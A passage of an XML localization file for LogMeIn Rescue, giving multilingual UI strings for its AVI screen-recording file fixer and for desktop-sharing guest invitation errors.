<ko>취소됨.</ko>
<hu>Törölve.</hu>
<pt-br>Cancelado.</pt-br>
<nl>Geannuleerd.</nl>
</msg>
<msg name="ABORT">
<en>Repair aborted.</en>
<de>Reparatur wurde abgebrochen.</de>
<es>Reparación anulada.</es>
<fr>Réparation interrompue.</fr>
<it>Riparazione interrotta.</it>
<ru>Восстановление прервано.</ru>
<ja>修復が異常終了しました。</ja>
<zh>修复终止。</zh>
<ko>수정이 중단되었습니다.</ko>
<hu>Javítás megszakítva.</hu>
<pt-br>Manutenção interrompida.</pt-br>
<nl>Herstelproces is afgebroken.</nl>
</msg>
<msg name="FILEABORTED">
<en>Aborted.</en>
<de>Abgebrochen.</de>
<es>Anulada.</es>
<fr>Interrompu.</fr>
<it>Operazione interrotta.</it>
<ru>Прервано.</ru>
<ja>異常終了しました。</ja>
<zh>终止。</zh>
<ko>중단되었습니다.</ko>
<hu>Megszakítva.</hu>
<pt-br>Interrompida.</pt-br>
<nl>Afgebroken.</nl>
</msg>
<msg name="FILEOK">
<en>OK: $1</en>
<de>OK: $1</de>
<es>Aceptar: $1</es>
<fr>OK : $1</fr>
<it>OK: $1</it>
<ru>OK: $1</ru>
<ja>OK : $1</ja>
<zh>确定: $1</zh>
<ko>확인: $1</ko>
<hu>OK: $1</hu>
<pt-br>OK: $1</pt-br>
<nl>OK: $1</nl>
</msg>
<msg name="FAIL">
<en>FAIL: $1</en>
<de>FEHLGESCHLAGEN: $1</de>
<es>ERROR: $1</es>
<fr>ECHEC : $1</fr>
<it>OPERAZIONE NON RIUSCITA: $1</it>
<ru>НЕ УДАЛОСЬ: $1</ru>
<ja>失敗: $1</ja>
<zh>失败: $1</zh>
<ko>실패: $1</ko>
<hu>SIKERTELEN: $1</hu>
<pt-br>FALHA: $1</pt-br>
<nl>MISLUKT: $1</nl>
</msg>
<msg name="DELETE">
<en>Deleting file $1.</en>
<de>Datei $1 wird gelöscht.</de>
<es>Eliminando el archivo $1.</es>
<fr>Suppression du fichier $1.</fr>
<it>Eliminazione del file $1.</it>
<ru>Удаление файла $1.</ru>
<ja>ファイル $1 を削除しています。</ja>
<zh>正在删除文件 $1。</zh>
<ko>$1 파일 삭제 중.</ko>
<hu>$1 fájl törlése.</hu>
<pt-br>Excluir arquivo $1.</pt-br>
<nl>Bezig met verwijderen van bestand $1.</nl>
</msg>
<msg name="FILEDELETED">
<en>Deleted: $1</en>
<de>Gelöscht: $1</de>
<es>Eliminado: $1</es>
<fr>Supprimé : $1</fr>
<it>Eliminato: $1</it>
<ru>Удален: $1</ru>
<ja>削除済み : $1</ja>
<zh>已删除: $1</zh>
<ko>삭제됨: $1</ko>
<hu>Törölve: $1</hu>
<pt-br>Excluído: $1</pt-br>
<nl>Verwijderd: $1</nl>
</msg>
<msg name="DELETEERROR">
<en>*** The following error occured while deleting the above file:</en>
<de>*** Der folgende Fehler ist beim Löschen obiger Datei aufgetreten.</de>
<es>*** Se produjo el siguiente error al eliminar el archivo de arriba:</es>
<fr>*** L'erreur suivante s'est produite lors de la suppression du fichier ci-dessus :</fr>
<it>*** Durante l'eliminazione del file sopra indicato si è verificato il seguente errore:</it>
<ru>*** Во время удаления вышеуказанного файла произошла следующая ошибка:</ru>
<ja>*** 上記のファイルの削除中に次のエラーが発生しました :</ja>
<zh>*** 删除以上文件时发生了以下错误:</zh>
<ko>*** 위의 파일을 삭제하는 동안 다음 오류가 발생했습니다.</ko>
<hu>*** A fenti fájl törlése közben a következő hiba történt:</hu>
<pt-br>*** O erro a seguir ocorreu durante a exclusão do arquivo acima:</pt-br>
<nl>*** De volgende fout is opgetreden tijdens het verwijderen van het bovenstaande bestand:</nl>
</msg>
<msg name="FINISHED">
<en>Repair finished.</en>
<de>Reparatur abgeschlossen.</de>
<es>Reparación finalizada.</es>
<fr>Réparation terminée.</fr>
<it>Riparazione terminata.</it>
<ru>Восстановление завершено.</ru>
<ja>修復が終了しました。</ja>
<zh>修复已完成。</zh>
<ko>수정을 끝냈습니다.</ko>
<hu>Javítás kész.</hu>
<pt-br>Manutenção concluída.</pt-br>
<nl>Herstelproces voltooid.</nl>
</msg>
</cat>
<cat name="WELCOME">
<msg name="LINE1">
<en>LogMeIn Rescue AVI File Fixer 5.0.2</en>
<de>LogMeIn Rescue AVI File Fixer 5.0.2</de>
<es>LogMeIn Rescue AVI File Fixer 5.0.2</es>
<fr>LogMeIn Rescue AVI File Fixer 5.0.2</fr>
<it>Programma LogMeIn Rescue di correzione di file AVI 5.0.2</it>
<ru>LogMeIn Rescue AVI File Fixer 5.0.2</ru>
<ja>LogMeIn Rescue AVI ファイル フィクサー 5.0.2</ja>
<zh>LogMeIn Rescue AVI File Fixer 5.0.2</zh>
<ko>LogMeIn Rescue AVI File Fixer 5.0.2</ko>
<hu>LogMeIn Rescue AVI File Fixer 5.0.2</hu>
<pt-br>LogMeIn Rescue AVI File Fixer 5.0.2</pt-br>
<nl>LogMeIn Rescue AVI File Fixer 5.0.2</nl>
</msg>
<msg name="LINE2">
<en>Copyright © 2005-2015, LogMeIn, Inc. All Rights Reserved.</en>
<de>Copyright (c) 2005-2015, LogMeIn, Inc. Alle Rechte vorbehalten.</de>
<es>Copyright (c) 2005-2015, LogMeIn, Inc. Todos los derechos reservados.</es>
<fr>Copyright (c) 2005-2015, LogMeIn, Inc. Tous droits réservés.</fr>
<it>Copyright (c) 2005-2015, LogMeIn, Inc. Tutti i diritti riservati.</it>
<ru>Copyright (c) 2005-2015 LogMeIn, Inc. Все права защищены.</ru>
<ja>Copyright (c) 2005-2015 LogMeIn, Inc. 無断複写・転載を禁じます。</ja>
<zh>Copyright (c) 2005-2015, LogMeIn, Inc. 保留所有权利。</zh>
<ko>Copyright (c) 2005-2015 LogMeIn, Inc. All rights reserved.</ko>
<hu>Copyright (c) 2005-2015, LogMeIn, Inc. Minden jog fenntartva.</hu>
<pt-br>Copyright (c) 2005-2015, LogMeIn, Inc. Todos os direitos reservados.</pt-br>
<nl>Copyright (c) 2005-2015, LogMeIn, Inc. Alle rechten voorbehouden.</nl>
</msg>
<msg name="LINE3">
<en>If you encounter corrupted Rescue screen recording .avi files, run this application to fix them.</en>
<de>Wenn Sie beschädigte AVI-Dateien mit Rescue-Bildschirmaufnahmen entdecken, führen Sie zu deren Reparatur diese Anwendung aus.</de>
<es>Si detecta archivos .avi de grabación de pantalla dañados de Rescue, ejecute esta aplicación para arreglarlos.</es>
<fr>Si vous rencontrez un écran Rescue corrompu enregistrant des fichiers .avi, exécutez cette application pour les réparer.</fr>
<it>Se vengono rilevati file .avi danneggiati dei file .rcrec di Rescue, eseguire questa applicazione per correggerli.</it>
<ru>При обнаружении поврежденных файлов записи экранов .avi, запустите это приложение.</ru>
<ja>破損したLogMeIn Rescue の画面記録「.avi」ファイルを見つけた場合、このアプリケーションを使って修復してください。</ja>
<zh>如果 Rescue 屏幕记录 .avi 文件被破坏,请运行此应用程序,以修复这些文件。</zh>
<ko>손상된 Rescue 화면 기록 .avi 파일을 발견했을 경우, 이 응용프로그램을 실행하여 수정하십시오.</ko>
<hu>Amennyiben korrupt Rescue képernyő .avi fájlt talál, futtassa ezt az alkalmazást, hogy kijavítsa.</hu>
<pt-br>Caso encontre uma tela Rescue corrompida gravando arquivos .avi, execute este aplicativo para concertá-los.</pt-br>
<nl>Voer deze toepassing uit om eventueel beschadigde Rescue .avi-bestanden met schermopnamen te herstellen.</nl>
</msg>
<msg name="LINE4">
<en>Please click Next to continue.</en>
<de>Bitte klicken Sie auf "Weiter", um fortzufahren.</de>
<es>Haga clic en Siguiente para continuar.</es>
<fr>Cliquez sur " Suivant " pour continuer.</fr>
<it>Fare clic su Avanti per continuare.</it>
<ru>Щелкните "Далее", чтобы продолжить.</ru>
<ja>続行するには、[次へ] をクリックしてください。</ja>
<zh>请单击¡°下一步¡±继续。</zh>
<ko>"다음"을 클릭하여 계속하십시오.</ko>
<hu>A folytatáshoz, kérjük, kattintson a Következő gombra.</hu>
<pt-br>Clique em Avançar para continuar.</pt-br>
<nl>Klik op Volgende om door te gaan.</nl>
</msg>
</cat>
<cat name="ADDFILES">
<msg name="SELECTFILES">
<en>Select files to repair</en>
<de>Wählen Sie Dateien zur Reparatur aus</de>
<es>Seleccione archivos para reparar</es>
<fr>Sélectionnez les fichiers à réparer</fr>
<it>Seleziona i file da riparare</it>
<ru>Выберите файлы для восстановления</ru>
<ja>修復するファイルを選択</ja>
<zh>选择要修复的文件</zh>
<ko>수정할 파일 선택</ko>
<hu>Válassza ki a javítani kívánt fájlokat.</hu>
<pt-br>Selecionar arquivos para manutenção</pt-br>
<nl>Selecteer de bestanden die moeten worden hersteld</nl>
</msg>
<msg name="ADD">
<en>Add...</en>
<de>Hinzufügen...</de>
<es>Agregar...</es>
<fr>Ajouter...</fr>
<it>Aggiungi...</it>
<ru>Добавить...</ru>
<ja>追加...</ja>
<zh>添加...</zh>
<ko>추가...</ko>
<hu>Hozzáadás...</hu>
<pt-br>Adicionar...</pt-br>
<nl>Toevoegen...</nl>
</msg>
<msg name="REMOVE">
<en>Remove</en>
<de>Entfernen</de>
<es>Eliminar</es>
<fr>Supprimer</fr>
<it>Rimuovi</it>
<ru>Удалить</ru>
<ja>削除</ja>
<zh>删除</zh>
<ko>제거</ko>
<hu>Eltávolítás</hu>
<pt-br>Remover</pt-br>
<nl>Verwijderen</nl>
</msg>
<msg name="ADDHELP">
<en>Click the Add button on the left to add one or more files to the list.</en>
<de>Klicken Sie links auf die Schaltfläche "Hinzufügen", um der Liste eine oder mehrere Dateien hinzuzufügen.</de>
<es>Haga clic en el botón Agregar de la izquierda para agregar uno o varios archivos a la lista.</es>
<fr>Cliquez sur le bouton Ajouter à gauche pour ajouter un ou plusieurs fichiers à la liste.</fr>
<it>Fare clic sul pulsante Aggiungi a sinistra per aggiungere uno o più file all'elenco.</it>
<ru>Щелкните слева кнопку "Добавить", чтобы добавить в список один или несколько файлов.</ru>
<ja>ファイルをリストに追加するには、左の [追加] ボタンをクリックします。</ja>
<zh>单击左侧的¡°添加¡±按钮以在列表中添加一个或多个文件。</zh>
<ko>하나 이상의 파일을 목록에 추가하려면 왼쪽의 "추가" 버튼을 클릭하십시오.</ko>
<hu>Egy vagy több fájl listához való hozzáadásához kattintson a bal oldali Hozzáadás gombra.</hu>
<pt-br>Clique no botão Adicionar à esquerda para adicionar um ou mais arquivos à lista.</pt-br>
<nl>Klik links op de knop Toevoegen om een of meer bestanden aan de lijst toe te voegen.</nl>
</msg>
<msg name="REMOVEHELP">
<en>Select one or more files and click the Remove button to delete files from the list.</en>
<de>Wählen Sie eine oder mehrere Dateien aus und klicken Sie auf die Schaltfläche "Entfernen", um Dateien aus der Liste zu löschen.</de>
<es>Seleccione uno o varios archivos y haga clic en el botón Quitar para eliminar archivos de la lista.</es>
<fr>Sélectionnez un ou plusieurs fichiers et cliquez sur le bouton Supprimer pour supprimer les fichiers de la liste.</fr>
<it>Selezionare uno o più file e fare clic sul pulsante Rimuovi per eliminare i file dall'elenco.</it>
<ru>Выберите один или несколько файлов и нажмите кнопку "Удалить", чтобы удалить эти файлы из данного списка.</ru>
<ja>リストからファイルを削除するには、ファイルを選択して [削除] ボタンをクリックします。</ja>
<zh>选择一个或多个文件,然后单击¡°删除¡±按钮以从列表中删除文件。</zh>
<ko>목록에서 파일을 삭제하려면 하나 이상의 파일을 선택하고 "제거" 버튼을 클릭하십시오.</ko>
<hu>A fájlok listából való törléséhez válasszon ki egy vagy több fájlt, és kattintson az Eltávolít gombra.</hu>
<pt-br>Selecione um ou mais arquivos e clique no botão Remover para excluir arquivos da lista.</pt-br>
<nl>Selecteer een of meer bestanden en klik op de knop Verwijderen om bestanden uit de lijst te verwijderen.</nl>
</msg>
<msg name="DELETE">
<en>Delete source files after repair</en>
<de>Löschen Sie die Quelldateien nach der Reparatur</de>
<es>Eliminar archivos de origen tras reparación</es>
<fr>Supprimer les fichiers source après la réparation</fr>
<it>Elimina i file sorgente dopo la riparazione</it>
<ru>Удалять исходные файлы после восстановления</ru>
<ja>修復後にソース ファイルを削除する</ja>
<zh>修复完成后删除源文件</zh>
<ko>수정 후 원본 파일 삭제</ko>
<hu>Javítás után törölje a forrásfájlokat.</hu>
<pt-br>Excluir arquivos de origem após a manutenção</pt-br>
<nl>Bronbestanden na herstel verwijderen</nl>
</msg>
</cat>
<cat name="SETDEST">
<msg name="LINE1">
<en>Please select the destination directory for the repaired AVI files. Existing files will be overwritten.</en>
<de>Wählen Sie bitte das Zielverzeichnis für die reparierten AVI-Dateien aus. Bestehende Dateien werden überschrieben.</de>
<es>Seleccione el directorio de destino para los archivos AVI reparados. Los archivos existentes se sobrescribirán.</es>
<fr>Sélectionnez le répertoire de destination pour les fichiers AVI réparés. Les fichiers existants seront écrasés.</fr>
<it>Selezionare la directory di destinazione per i file AVI riparati. I file esistenti verranno sovrascritti.</it>
<ru>Выберите каталог назначения для восстановленных AVI-файлов. Существующие файлы будут перезаписаны.</ru>
<ja>修復した AVI ファイルの保存先ディレクトリを選択してください。既存のファイルは上書きされます。</ja>
<zh>请选择修复的 AVI 文件的目标目录。将覆盖现有文件。</zh>
<ko>수정된 AVI 파일의 대상 디렉터리를 선택하십시오. 기존 파일을 덮어씁니다.</ko>
<hu>Kérjük, válassza ki a javított AVI-fájlok célkönyvtárát. A korábbi fájlokat a program felülírja.</hu>
<pt-br>Selecione o diretório de destino dos arquivos AVI que passaram pela manutenção. Os arquivos existentes serão sobrescritos.</pt-br>
<nl>Selecteer de doelmap voor de herstelde AVI-bestanden. Bestaande bestanden zullen worden overschreven.</nl>
</msg>
<msg name="LINE2">
<en>Destination directory:</en>
<de>Zielverzeichnis:</de>
<es>Directorio de destino:</es>
<fr>Répertoire de destination :</fr>
<it>Directory di destinazione:</it>
<ru>Каталог назначения:</ru>
<ja>保存先ディレクトリ :</ja>
<zh>目标目录:</zh>
<ko>대상 디렉터리:</ko>
<hu>Célkönyvtár:</hu>
<pt-br>Diretório de destino:</pt-br>
<nl>Doelmap:</nl>
</msg>
<msg name="BROWSE">
<en>Browse...</en>
<de>Durchsuchen...</de>
<es>Buscar...</es>
<fr>Parcourir...</fr>
<it>Sfoglia...</it>
<ru>Обзор...</ru>
<ja>参照...</ja>
<zh>浏览...</zh>
<ko>찾아보기...</ko>
<hu>Böngészés...</hu>
<pt-br>Procurar...</pt-br>
<nl>Bladeren...</nl>
</msg>
<msg name="NODESTDIR">
<en>The destination directory field is empty. Please enter a valid directory name.</en>
<de>Das Zielverzeichnis für dieses Feld ist leer. Bitte geben Sie einen gültigen Verzeichnisnamen ein.</de>
<es>El campo de directorio de destino está vacío. Introduzca un nombre de directorio válido.</es>
<fr>Le champ du répertoire de destination est vide. Entrez un nom de répertoire valide.</fr>
<it>Il campo della directory di destinazione è vuoto. Immettere un nome di directory valido.</it>
<ru>Поле каталога назначения пусто. Введите допустимое имя каталога.</ru>
<ja>保存先ディレクトリ フィールドが空欄です。有効なディレクトリ名を入力してください。</ja>
<zh>¡°目标目录¡±字段为空。请输入一个有效的目录名。</zh>
<ko>대상 디렉터리 필드가 비어 있습니다. 올바른 디렉터리 이름을 입력하십시오.</ko>
<hu>A célkönyvtár mező üres. Kérjük, adjon meg érvényes könyvtárnevet.</hu>
<pt-br>O campo do diretório de destino está vazio. Digite um nome de diretório válido.</pt-br>
<nl>Het veld voor de doelmap is leeg. Voer een geldige mapnaam in.</nl>
</msg>
<msg name="INVDESTDIR">
<en>Invalid destination directory name. Please enter a valid directory name.</en>
<de>Ungültiger Zielverzeichnisname. Bitte geben Sie einen gültigen Verzeichnisnamen ein.</de>
<es>Nombre de directorio de destino no válido. Introduzca un nombre de directorio válido.</es>
<fr>Nom de répertoire de destination non valide. Entrez un nom de répertoire valide.</fr>
<it>Nome della directory di destinazione non valido. Immettere un nome di directory valido.</it>
<ru>Недопустимое имя каталога назначения. Введите допустимое имя каталога.</ru>
<ja>無効な保存先ディレクトリ名です。有効なディレクトリ名を入力してください。</ja>
<zh>目标目录名无效。请输入一个有效的目录名。</zh>
<ko>대상 디렉터리 이름이 올바르지 않습니다. 올바른 디렉터리 이름을 입력하십시오.</ko>
<hu>Érvénytelen könyvtárnév. Kérjük, adjon meg érvényes könyvtárnevet.</hu>
<pt-br>Nome de diretório de destino inválido. Digite um nome de diretório válido.</pt-br>
<nl>Ongeldige mapnaam voor doelmap. Voer een geldige mapnaam in.</nl>
</msg>
</cat>
<cat name="REVIEW">
<msg name="LINE1">
<en>Please review your settings before the repair starts. Click Next to repair all files shown below.</en>
<de>Bitte prüfen Sie vor Beginn der Reparatur Ihre Einstellungen. Klicken Sie auf "Weiter", um alle unten angezeigten Felder zu reparieren.</de>
<es>Revise la configuración antes de iniciar la reparación. Haga clic en Siguiente para reparar todos los archivos que se muestran abajo.</es>
<fr>Vérifiez vos paramètres avant le début de la réparation. Cliquez sur Suivant pour réparer tous les fichiers affichés ci-dessous.</fr>
<it>Rivedere le impostazioni prima che inizi la riparazione. Fare clic su Avanti per riparare tutti i file riportati di seguito.</it>
<ru>Просмотрите свои настройки, прежде чем начинать восстановление. Нажмите "Далее", чтобы восстановить все указанные ниже файлы.</ru>
<ja>修復の開始前に、設定を確認してください。以下に表示されているすべてのファイルを修復するには、[次へ] をクリックします。</ja>
<zh>请在修复开始之前查看您的设置。单击¡°下一步¡±以修复下面显示的所有文件。</zh>
<ko>수정을 시작하기 전에 설정을 검토하십시오. "다음"을 클릭하여 아래에 표시된 모든 파일을 수정하십시오.</ko>
<hu>Kérjük, ellenőrizze a beállításokat mielőtt a javítás elindul. Kattintson a Következő gombra, hogy az összes alábbi fájlt kijavítsa:</hu>
<pt-br>Confira suas configurações antes do início da manutenção. Clique em Próximo para fazer a manutenção de todos os arquivos exibidos abaixo.</pt-br>
<nl>Controleer uw instellingen voordat u het herstelproces uitvoert. Klik op Volgende om alle bestanden die hieronder zijn weergegeven te herstellen.</nl>
</msg>
<msg name="LINE2">
<en>Selected %d file(s), cumulative size: %S</en>
<de>Ausgewählte Datei(en) "%d", Gesamtgröße: %S</de>
<es>Seleccionado(s) %d archivo(s), tamaño acumulado: %S</es>
<fr>%d fichier(s) sélectionné(s), taille cumulative : %S</fr>
<it>%d file selezionato/i, dimensione complessiva: %S</it>
<ru>Выбрано %d файлов, суммарный размер: %S</ru>
<ja>選択されている %d ファイル、累積サイズ : %S</ja>
<zh>已选定 %d 个文件,累计大小: %S</zh>
<ko>%d개 파일을 선택함, 누적 크기: %S</ko>
<hu>Kiválasztva %d fájl, mérete összesen: %S</hu>
<pt-br>%d arquivo(s) selecionado(s), tamanho cumulativo: %S</pt-br>
<nl>%d bestand(en) geselecteerd, met een totale grootte van: %S</nl>
</msg>
<msg name="LINE3">
<en>Files will be saved in:</en>
<de>Dateien werden gespeichert unter:</de>
<es>Los archivos se guardarán en:</es>
<fr>Les fichiers seront enregistrés sous :</fr>
<it>I file verranno salvati in:</it>
<ru>Файлы будут сохранены в:</ru>
<ja>ファイルの保存場所 :</ja>
<zh>文件保存位置:</zh>
<ko>파일은 다음 위치에 저장됩니다.</ko>
<hu>A fájlok mentésre kerülnek ide:</hu>
<pt-br>Os arquivos serão salvos em:</pt-br>
<nl>De bestanden worden opgeslagen in de map:</nl>
</msg>
<msg name="DELETINGFILES">
<en>Source files WILL BE DELETED after conversion.</en>
<de>Die Quelldateien werden nach der Konvertierung GELÖSCHT.</de>
<es>Los archivos de origen SE ELIMINARÁN tras la conversión.</es>
<fr>Les fichiers source SERONT SUPPRIMÉS après la conversion.</fr>
<it>I file di origine VERRANNO ELIMINATI dopo la conversione.</it>
<ru>После преобразования исходные файлы БУДУТ УДАЛЕНЫ.</ru>
<ja>ソース ファイルは変換後に削除されます。</ja>
<zh>转换完成后删除源文件。</zh>
<ko>변환 후 원본 파일이 삭제됩니다.</ko>
<hu>A program TÖRÖLNI FOGJA a forrásfájlokat a konvertálást követően.</hu>
<pt-br>Os arquivos de origem SERÃO EXCLUÍDOS após a conversão.</pt-br>
<nl>De bronbestanden WORDEN VERWIJDERD na de conversie.</nl>
</msg>
<msg name="NOTDELETINGFILES">
<en>Source files will NOT be deleted after conversion.</en>
<de>Die Quelldateien werden nach der Konvertierung NICHT gelöscht.</de>
<es>Los archivos de origen NO se eliminarán tras la conversión.</es>
<fr>Les fichiers source NE SERONT PAS SUPPRIMÉS après la conversion.</fr>
<it>I file di origine NON verranno eliminati dopo la conversione.</it>
<ru>После преобразования исходные файлы НЕ будут удалены.</ru>
<ja>ソース ファイルは変換後に削除されません。</ja>
<zh>转换完成后不删除源文件。</zh>
<ko>변환 후 원본 파일이 삭제되지 않습니다.</ko>
<hu>Konvertálás után a forrásfájlok NEM törlődnek.</hu>
<pt-br>Os arquivos de origem NÃO serão excluídos após a conversão.</pt-br>
<nl>De bronbestanden worden NIET verwijderd na de conversie.</nl>
</msg>
</cat>
</cat>
<cat name="GUESTINVITE">
<msg name="INVITED.USERNAME">
<en>Invited-Guest</en>
<de>Eingeladener Gast</de>
<es>Usuario invitado</es>
<fr>Personne invitée</fr>
<it>Ospite invitato</it>
<ru>Приглашенный гость</ru>
<ja>招待ゲスト</ja>
<zh>邀请的来宾</zh>
<ko>초대된 게스트</ko>
<hu>Meghívott-Vendég</hu>
<pt-br>Convidado</pt-br>
<nl>Uitgenodigde gast</nl>
</msg>
<cat name="MSGBOX">
<msg name="TITLE">
<en>Desktop Sharing</en>
<es>Escritorio compartido</es>
<de>Desktopfreigabe</de>
<fr>Partage de bureau</fr>
<it>Condivisione del desktop</it>
<ru>Общий доступ к рабочему столу</ru>
<ja>デスクトップ共有</ja>
<zh>桌面共享</zh>
<ko>데스크톱 공유</ko>
<en-gb>Desktop Sharing</en-gb>
<hu>Képernyő megosztása</hu>
<pt-br>Compartilhamento do desktop</pt-br>
<nl>Bureaublad delen</nl>
</msg>
<msg name="ACCESSDENIED">
<en>Desktop Sharing is not available for your user account. For more information please contact your system administrator.\r\n\r\nThe error received was: $1</en>
<es>Escritorio compartido no está disponible para su cuenta de usuario. Póngase en contacto con el administrador del sistema.\r\n\r\nEl error recibido fue: $1</es>
<de>Die Desktopfreigabe ist für Ihr Benutzerkonto nicht verfügbar. Weitere Informationen erhalten Sie von Ihrem Systemadministrator.\r\n\r\nErhaltene Fehlermeldung: $1</de>
<fr>Le partage de bureau n'est pas disponible pour votre compte utilisateur. Pour plus d'informations, contactez votre administrateur système.\r\n\r\nErreur reçue : $1</fr>
<it>La Condivisione del desktop non è disponibile per questo account utente. Per ulteriori informazioni contattare l'amministratore di sistema.\r\n\r\nL'errore ricevuto era: $1</it>
<ru>Общий доступ к рабочему столу недоступна для вашей учетной записи. Для получения дополнительной информации свяжитесь с вашим системным администратором.\r\n\r\nБыла получена следующая ошибка: $1</ru>
<ja>お使いのユーザ アカウントではデスクトップ共有を利用できません。 詳細については、システム管理者にお問い合わせください。\r\n\r\n受信されたエラー: $1</ja>
<zh>桌面共享不适用于您的用户帐户。 有关详细信息,请联系您的系统管理员。\r\n\r\n收到的错误是:$1</zh>
<ko>사용자 계정에 대해 데스크톱 공유를 사용할 수 없습니다. 자세한 내용은 시스템 관리자에게 문의하십시오.\r\n\r\n수신한 오류: $1</ko>
<en-gb>Desktop Sharing is not available for your user account. For more information please contact your system administrator.\r\n\r\nThe error received was: $1</en-gb>
<hu>A Képernyőmegosztás nem érhető el az Ön felhasználói fiókja számára. További információkért forduljon rendszergazdájához.\r\n\r\nA kapott hiba a következő: $1</hu>
<pt-br>O Compartilhamento do desktop não está disponível para sua conta de usuário. Para obter mais informações, entre em contato com o administrador do sistema. \r\n\r\nO erro recebido foi: $1</pt-br>
<nl>Delen van bureaublad is niet beschikbaar voor uw gebruikersaccount. Neem voor meer informatie contact op met uw systeembeheerder.\r\n\r\nDe gedetecteerde fout was:$1</nl>
</msg>
<msg name="CANTCONNECT">
<en>Failed to connect to %PRODUCTNAME via COM.\r\n\r\nThe error received was: $1</en>
<es>Error al conectar con %PRODUCTNAME via COM.\r\n\r\nEl error recibido fue: $1</es>
<de>Herstellen einer Verbindung zu %PRODUCTNAME über COM nicht möglich.\r\n\r\nFehler: $1</de>
<fr>Echec de la connexion à %PRODUCTNAME via COM.\r\n\r\nL'erreur reçue était : $1</fr>
<it>Collegamento a %PRODUCTNAME tramite COM non riuscito.\r\n\r\nÈ stato ricevuto il seguente errore: $1</it>
<ru>Не удалось подключиться к %PRODUCTNAME через COM:\r\n\r\nПолучена следующая ошибка: $1</ru>
<ja>COM 経由での %PRODUCTNAME への接続に失敗しました。\r\n\r\n受信したエラー : $1</ja>
<zh>无法通过 COM 连接到 %PRODUCTNAME。\r\n\r\n收到以下错误:$1</zh>
<ko>COM을 통해 %PRODUCTNAME에 연결하지 못했습니다.\r\n\r\n수신한 오류: $1</ko>
<en-gb>Failed to connect to %PRODUCTNAME via COM.\r\n\r\nThe error received was: $1</en-gb>
<hu>Nem sikerült csatlakozni a %PRODUCTNAME programhoz a COM-on keresztül\r\n\r\nA kapott hiba: $1</hu>
<pt-br>Falha ao conectar-se ao %PRODUCTNAME via COM.\r\n\r\nO erro recebido foi: $1</pt-br>
<nl>Kan geen verbinding maken met %PRODUCTNAME via COM.\r\n\r\nDe gedetecteerde fout was: $1</nl>
</msg>
<msg name="EMAILNEEDED">
<en>Please enter a valid email address.</en>
<de>Bitte geben Sie eine gültige E-Mail-Adresse ein.</de>
<es>Introduzca una dirección de correo electrónico válida.</es>
<fr>Entrez une adresse e-mail valide.</fr>
<it>Immettere un indirizzo e-mail valido.</it>
<ru>Введите допустимый адрес электронной почты.</ru>
<ja>有効な電子メール アドレスを入力してください。</ja>
<zh>请输入有效的电子邮件地址。</zh>
<ko>올바른 전자 메일 주소를 입력하십시오.</ko>
<en-gb>Please enter a valid e-mail address.</en-gb>
<hu>Kérem, írjon be egy érvényes e-mail címet.</hu>
<pt-br>Digite um endereço de email válido.</pt-br>
<nl>Voer een geldig e-mailadres in.</nl>
</msg>
<msg name="URLNEEDED">
<en>Please enter an URL to %PRODUCTNAME.</en>
<es>Introduzca una URL para %PRODUCTNAME.</es>
<de>Geben Sie den URL zu %PRODUCTNAME ein.</de>
<fr>Entrez une URL pour %PRODUCTNAME.</fr>
<it>Immettere un URL per %PRODUCTNAME.</it>
<ru>Введите URL-ссылку на %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME に URL を入力してください。</ja>
<zh>请输入到 %PRODUCTNAME 的 URL。</zh>
<ko>%PRODUCTNAME의 URL을 입력하십시오.</ko>
<en-gb>Please enter a URL to %PRODUCTNAME.</en-gb>
<hu>Kérem, írjon be URL címet a %PRODUCTNAME programhoz.</hu>
<pt-br>Digite um URL para o %PRODUCTNAME.</pt-br>
<nl>Voer een URL-adres voor %PRODUCTNAME in.</nl>
</msg>
<msg name="CREATEFAILED">
<en>Failed to create the invitation.\r\n\r\nThe error received was:\r\n</en>
<es>Error al crear la invitación.\r\n\r\nEl error recibido fue:\r\n</es>
<de>Erstellen der Einladung nicht möglich.\r\n\r\nFehler:\r\n</de>
<fr>Echec de la création de l'invitation.\r\n\r\nL'erreur reçue était :\r\n</fr>
<it>Creazione dell'invito non riuscita.\r\n\r\nÈ stato ricevuto il seguente errore:\r\n</it>
<ru>Не удалось создать приглашение.\r\n\r\nПолучена следующая ошибка:\r\n</ru>
<ja>招待の作成に失敗しました。\r\n\r\n受信したエラー :\r\n</ja>
<zh>创建邀请失败。\r\n\r\n收到以下错误:\r\n</zh>
<ko>초대장을 만들지 못했습니다.\r\n\r\n수신한 오류:\r\n</ko>
<en-gb>Failed to create the invitation.\r\n\r\nThe error received was:\r\n</en-gb>
<hu>Nem sikerült létrehozni a meghívót.\r\n\r\nA kapott hiba:\r\n</hu>
<pt-br>Falha ao criar o convite.\r\n\r\nO erro recebido foi:\r\n</pt-br>
<nl>Uitnodiging maken is mislukt.\r\n\r\nDe gedetecteerde fout was:\r\n</nl>
</msg>
<msg name="SENDFAILED">
<en>Failed to send the invitation email.\r\n\r\nThe error received was:\r\n</en>
<es>Error al enviar correo electrónico de invitación.\r\n\r\nEl error recibido fue:\r\n</es>
<de>Senden von Einladungs-E-Mail nicht möglich.\r\n\r\nFehler:\r\n</de>
<fr>Echec de l'envoi de l'e-mail d'invitation.\r\n\r\nL'erreur reçue était :\r\n</fr>
<it>Invio dell'e-mail di invito non riuscito.\r\n\r\nÈ stato ricevuto il seguente errore:\r\n</it>
<ru>По электронной почте не удалось отправить сообщение с приглашением.\r\n\r\nПолучена следующая ошибка:\r\n</ru>
<ja>招待電子メールの送信に失敗しました。\r\n\r\n受信したエラー :\r\n</ja>
<zh>发送邀请电子邮件失败。\r\n\r\n收到以下错误:\r\n</zh>
<ko>초대장을 전자 메일로 보내지 못했습니다.\r\n\r\n수신한 오류:\r\n</ko>
<en-gb>Failed to send the invitation e-mail.\r\n\r\nThe error received was:\r\n</en-gb>
<hu>Nem sikerült elküldeni a meghívó e-mailt.\r\n\r\nA kapott hiba:\r\n</hu>
<pt-br>Falha ao enviar o email de convite.\r\n\r\nO erro recebido foi:\r\n</pt-br>
<nl>Verzenden van e-mailbericht met uitnodiging is mislukt.\r\n\r\nDe gedetecteerde fout was:\r\n</nl>
</msg>
<msg name="COUNTFAILED">
<en>Failed to get invitation count.\r\n\r\nThe error received was:\r\n</en>
<es>Error al obtener el conteo de invitaciones.\r\n\r\nEl error recibido fue:\r\n</es>
<de>Abrufen der Anzahl der Einladungen nicht möglich.\r\n\r\nFehler:\r\n</de>
<fr>Echec de l'obtention du décompte d'invitations.\r\n\r\nL'erreur reçue était :\r\n</fr>
<it>Recupero del conteggio degli inviti non riuscito.\r\n\r\nÈ stato ricevuto il seguente errore:\r\n</it>
